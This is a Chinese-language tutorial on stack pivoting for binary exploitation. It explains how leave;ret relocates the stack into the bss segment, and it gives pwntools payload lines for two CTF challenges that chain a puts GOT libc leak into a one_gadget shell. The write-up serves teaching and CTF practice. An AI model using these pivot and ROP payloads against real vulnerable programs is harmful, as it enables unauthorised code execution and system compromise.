栈迁移详解
字数 1171 2025-08-25 22:58:40
栈迁移技术详解
1. 栈迁移基本概念
栈迁移(Stack Pivoting)是一种通过修改栈指针(ESP/RSP)或基指针(EBP/RBP)来将栈转移到其他内存区域的技术,通常用于解决以下情况:
- 栈溢出空间不足(如只能溢出少量字节)
- 原始栈空间不可执行
- 需要更大的空间构造ROP链
关键指令解释
leave指令相当于:mov esp, ebp pop ebpret指令相当于:pop eip
2. 栈迁移基本原理
迁移过程
- 通过溢出修改EBP为伪造的栈地址(如bss段)
- 控制EIP执行
leave; ret指令序列 - 第一次
leave:mov esp, ebp:将ESP指向伪造的栈地址pop ebp:将伪造栈上的值弹出到EBP
- 第二次
leave:- 将ESP完全迁移到伪造的栈区域
- 此时可以执行伪造栈上的ROP链
为什么要两次leave
- 第一次
leave将ESP指向伪造栈,但仍在原始栈上执行 - 第二次
leave将ESP完全迁移到伪造栈区域 - 这样可以在有限溢出空间内完成完整的栈迁移
3. 栈迁移实战案例
案例1:vnctf2023 traveler
利用步骤:
-
第一次栈迁移:
payload = cyclic(0x20) + p64(bss4) + p64(read)- 修改RBP为bss段地址(bss4)
- 返回地址设置为read函数(0x401216)
-
第二次栈迁移:
payload = cyclic(0x20) + p64(bss4+0x20) + p64(read)- 将RBP进一步迁移到bss+0x20
-
构造ROP链泄露libc:
payload = p64(bss4+0x30) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)- 泄露puts地址后计算libc基址
-
再次栈迁移执行one_gadget:
payload = p64(bss6+0x30) + p64(r12) + p64(0) + p64(og)
案例2:新春杯mg
利用步骤:
-
第一次栈迁移:
pay = b'a'*0x20 + p64(bss) + p64(0x4011FD) -
第二次栈迁移:
pay1 = b'a'*0x20 + p64(bss+0x20) + p64(0x4011FD) -
构造ROP链泄露libc:
pay2 = p64(bss+0x30) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main) -
最终getshell:
payload = p64(bss+0x130) + p64(r12) + p64(0) + p64(og)
4. 关键问题解答
为什么要写入bss+0x10的地址?
- 这是为了在第二次
leave时,pop ebp会将伪造栈上的值弹出到EBP - 通常需要预留空间存储ROP链,所以选择稍远的地址
如何解决极小溢出空间(如10字节)?
- 利用有限的溢出空间修改EBP和返回地址
- 返回地址设置为
leave; ret指令序列 - 通过多次迁移逐步将栈转移到可控区域
5. 技术要点总结
-
地址选择:
- 伪造栈通常选择bss段或data段
- 需要可写且地址已知的区域
-
指令序列:
- 需要找到程序中的
leave; ret或能构造此序列的gadget
- 需要找到程序中的
-
ROP链构造:
- 在伪造栈上构造完整的ROP链
- 注意栈对齐和参数传递
-
多次迁移:
- 当一次迁移无法完成时,可分多步进行
- 每次迁移逐步将栈转移到更可控的位置
-
寄存器控制:
- 注意one_gadget的条件约束
- 可能需要额外的gadget设置寄存器值
6. 参考资源
- 栈平衡和栈迁移原理
- PWN技术中的栈迁移技巧
- 相关CTF题目writeup
通过掌握栈迁移技术,可以解决许多传统栈溢出无法应对的场景,特别是在溢出空间受限的情况下。关键在于理解栈指针的变化过程,并能够精确控制每一步的迁移操作。